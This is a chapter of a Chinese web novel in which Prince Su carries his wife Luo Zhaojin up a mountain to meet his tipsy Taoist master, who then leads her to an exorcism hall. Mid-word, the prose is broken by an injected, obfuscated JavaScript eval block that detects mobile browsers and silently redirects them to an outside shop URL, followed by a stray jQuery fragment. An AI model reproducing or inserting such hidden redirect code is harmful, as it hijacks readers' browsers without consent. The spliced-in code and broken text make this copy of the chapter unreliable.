罗昭锦并不曾见过肃王这位师傅,但也对其有些印象。
听说这位乃是高道,号曰“忘机子”,今已是古稀之年,上辈子他徒弟死于虎口之时,他都还在世呢。
可见是当真得了道的。
肃王年节里不曾来过,今也是时候去见见师傅,反正这路上无景可赏,倒是山上颇有美处,索性带她来了山上。
罗昭锦觉得,应是出于这般原因,才来了这里吧,总不能真是要给她驱邪。
呵。
想来这位隐士高人,必是仙风道骨,脱离尘嚣的,她一时生出些许拜会的兴致。
罗昭锦接受了此行目的,可抬头看了眼山路,马上又不能接受了。
这分明是天梯来着!一眼望不到头。
一旁肃王却已叫人携带了东西,便要上山去。
罗昭锦稳站着不动,担忧起来:“此时上山去,怕都天黑了,难不成还得在山上歇?府里只当咱们出来踏青,一个招呼不打便歇在外面,怕有些不妥吧。”
肃王浅笑:“王妃放心,我已着人打过招呼。”
“……”打过招呼了?敢情就她和樱桃不晓得。
回去是不够能了。
仰头望了眼天梯,见山腰云雾横绕,朦胧不见山巅,罗昭锦两腿直发软。
天菩萨,这哪是人爬的。,若早知道要遭这罪,她必定不来。
肃王却是爬惯的,只管催她快走:“不可再耽搁,否则还得摸黑上山。”
“……”啊,还要摸黑吗?
罗昭锦婉拒无果,只好拍了拍自己好吃懒做的大腿,心中默念了一句“你俩可要争气”。
跟上肃王,带着仆从两个,车夫两个,往山上行进。
罗昭锦两辈子加起来只爬过一次山,那是出阁之前,母亲带她去山上拜白衣观音,求姻缘的。
但也不是她亲自爬。
大哥找了四个女轿夫,将她抬上山去,可舍不得她吃半点苦头。
当时母亲还说,若上山进香却连爬个台阶儿都嫌累,只怕菩萨会怪罪心不诚,不赐好姻缘。
大哥笑说,小妹生来便得菩萨眷顾,一向无病无灾,菩萨与她是格外宽容的,岂会怪罪。
如今想来,当时该听母亲的。
菩萨果然没有保佑她,她的姻缘糟透了,不单远嫁,还嫁了个道士,是恩爱也没有,子女也没有。
大概命里带财,便带不下桃花吧,老天爷总不能可着她一个人眷顾。
罗昭锦想得开。
一行六人,就这样爬着爬着,龟速爬到了半山。此时,天边一轮红日几乎要挨着西山了,落日熔金,好生的绚烂。
两辈子加起来,她没见过这样的风景,心中澎湃。
可风景虽美,眼下正有一桩棘手事不可忽视——她爬不动了。
在山腰平台处短暂歇了歇脚,肃王又催着往上走。可罗昭锦一旦坐下来了,却是两腿打颤,哪里还起得来。
“都怪殿下不据实相告,若早知是来爬山,妾便不穿这长裙了,一路走一路提,莫说脚酸,连手都酸了。”
她怨怪起来,嘟嘟囔囔,稳坐着不动。
孟成煊抬头望了眼山顶道观,估算着还有小半个时辰,若不抓紧,当真要摸黑。
他是爬惯了的,今日又特意放慢步调,丝毫不觉劳累,闻听王妃这样一番话,只觉她太过养尊处优。
孟成煊隐有一丝不悦,可见得她那受气包似的委屈,又忍住催促,转念想她昨日遭邪气侵扰,怕是身子此刻还有不适,爬不动山也是情有可原。
便又坐回去,只应了句:“那就再稍歇片刻。”
方坐定,听得身侧魏明时小声说了句:“歇没用,怕是得背。”
他扭头,看了眼自己这贴身小太监,见他是一脸“不想走到半夜”的无奈。
“背?”
魏明时点个头。
罗昭锦也跟着点了个头。
她听见了,她觉得这是个很好的主意,立时将求助的目光投向自家肃王殿下。
肃王没有出言反对,因为反对必然无效,有人的脚已经在听到“背”这个字时,暂时“瘫痪”。
那么,谁背?
两个车夫是粗使的太监,自觉坐得远远的,一句话也不多说的。
樱桃小丫头一个,指望不上。
魏明时则默默地退后一步。
孟成煊将众人扫视一遍,深吸了口气,又沉叹了一声。
片刻后,罗昭锦趴在了他的背上。
再度上路时,太阳已落了山,晚风轻拂着,好不惬意。
她忽然觉得,爬山真好玩。
肃王看起来文质彬彬,肩背却宽阔厚实,像个武人。
他约莫本就能算个武人,毕竟不论静功还是动功,都不曾有一日落下,那先天拳应是打得炉火纯青。
罗昭锦趴在他的背上,也不知怎的,脸蛋悄然发烫,这后半程的山路,嘴巴闭紧,一句话都没再说过。
孟成煊一口气将她背上山顶,走到道观门口,不急进去,倒先在大石头上坐下,好生缓了一缓呼吸。
半晌,才终于与她说了一句:“往后少食甜,坏牙。”
好生突兀的叮嘱。罗昭锦:“?”
生愣了一阵,才回过味来——吃糖不单坏牙,还容易长肉。
这是嫌她胖!登时气得脸都红了。
哪有!明明只是丰腴了些,高挑了些,匀匀称称的,一点儿都不胖。
是他自己体力不行!
罗昭锦撇撇嘴,很是不服,心头鄙夷起来:看来他所练拳法也不过是花拳绣腿,不中用的东西。
当下不服地瞪了一眼回敬,小声嘟囔:“自己不行,倒还怪我。”
一干人就站在道观门口,吹着冷风,等肃王缓过劲儿。
好一会儿,他方从大石头上起了身,弯腰,将两手搭在石块上,用力一推——几百斤的石头,硬生生被推动了半尺,在泥巴地上留下寸许深的划痕。
他拍拍手,云淡风轻:“这石头放歪了。”
“?”罗昭锦张开嘴忘了闭。
这块大石一侧长满青苔,可见不知已在此地躺了几个十年,若说歪了,那必是当初放的时候便放歪了。
他早不“正”它,晚不“正”它,偏偏要在背过她之后,徒手把它给“正”了。
这是何意,想证明他不是背不动,是她比三百斤的石头还要重?
罗昭锦气得鼻子歪,却哪里骂得出一个字,憋着一肚子气,跟他往道观大门去。
门口两旁楹联写道:“忘机忘事忘年月”“观云观鹤观自在”。
横批“善忘乃福”。
呸,罗昭锦一辈子都忘不了,这个坏蛋说她胖。
看门小道童见一行人来,忙请众人入内,说师傅他老人家正休息,自己去通传一声,让众人先在此饮茶。
罗昭锦饮了两碗茶,第二碗快见底时,心想这天都黑了,怎挑这个时候休息。忘记子既然长寿,想必身体硬朗,总不能是病了吧。
正琢磨着,就远远见一清瘦老道往这边过来。
肃王茶饮一半,忙搁碗起身。罗昭锦也跟着一道起来,料定那就是忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675402|205777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机子了。
且看这老道白须白眉,一袭海清道袍,手持一柄拂尘,果然是仙风道骨模样。
就连身后跟着的小道童,也是步履轻盈,端正大方。
众人忙起身相迎。
她理了理衣衫,正要跟着见礼,便先嗅到一抹酒味儿。
“哎呀呀,看是谁来啦。过年都不上山来,还当你这小子忘了为师。”
忘机子笑说着上前,他一张口,酒味便更浓了。
罗昭锦站在肃王身后,有些错愕。
她小心地瞧了这老道一眼,见他手中捏着一只小酒葫芦,胸前两滴酒印子,并一颗……饭粒儿?
道袍带子系得松松垮垮,脚上一双灰扑扑的云履,鞋后跟被踩折下去,当跣子穿了。
她不由地跳了下额角。
这就是所谓高道?方才不是休息,怕是醉酒了吧。倒是他身后跟着的,那十一二岁的小道童,当真是端正大方,仙童一般。
孟成煊笑答:“年前已是来过,不还孝敬了师傅十坛好酒。”
忘机子哼了一声:“亏你小子说得出口!你那是孝敬我?你那十坛好酒,用来换我的宝贝玉肌膏罢了。”
老顽童这是又耍起无赖了。孟成煊遗憾道:“看来那十坛好酒,师傅已然喝光。可惜徒弟这次来得急,却不曾备酒,只好改日托人再送。”
忘机子听得他说不曾带酒,颇感失望,咂了咂嘴,瞥见他身后还有别人,这才抖抖拂尘,换了副正经模样,“你不给为师送酒,倒带这么些人上我半闲观来,这是要……”
孟成煊侧了侧身,将躲在自己后头的女人亮相出来:“此为内子。”
又与罗昭锦道,“王……昭锦,还不拜见师傅。”
罗昭锦抱手见礼,乖巧模样:“师傅慈悲。”
忘机子瞧她一眼,眼睛竟倏地一瞪:“福生无量天尊!玄同,你快睁大眼睛,给为师好好看看她!”
罗昭锦:“?”
那小道童便上前一步,两只眼睛紧紧盯住了她的脸。
这是作甚?罗昭锦浑身绷紧,不敢动弹。她的脸很胖?也、也不必这样大张旗鼓,喊人围观吧。
肃王:“师傅?”
忘机子激动得胡子抖动:“可看清楚了,这就是为师与你说的,有福之相——乃是五岳朝天,三停匀称,一世资财足用,命途平顺!不可多见,你可要抓紧认个清楚。”
小道童盯着她,狠狠地看起来。
罗昭锦:“……”一动不敢动。
原来是说她生得福相。同样的话虽已听了不少,可连高道也这样说,她心中一时又高兴起来。
罗昭锦这厢在干瞪眼,那头,忘机子又问起徒弟,何故酒不带,倒带了家室来。
孟成煊先将师傅引到一旁,方才详说起来。
足足一盏茶后,小道童上看下看,前看后看,终于认清楚了福相,与她拱手作谢,一干人等才又有了安排。
四个下人皆先回客房安置,只他夫妇二人,并那小道童随忘机子往灵官殿去。
那灵官殿乃是驱邪之所。
甫一迈进殿,罗昭锦就被王灵官瞪如铜铃的一双眼吓了一大跳。
——她果没猜错,肃王真就是害怕那妖邪还跟着她,特地来请他师傅出手。
罗昭锦狠狠地抽了抽嘴角,只怪自己当时不够无赖,没有死扛着不上山。
这下如何是好!
肃王不过是个在家道人,她努力演演戏尚可敷衍过去,眼前这位却乃高道,真假一眼便知。
完了,她勾引的事儿要暴露个干净。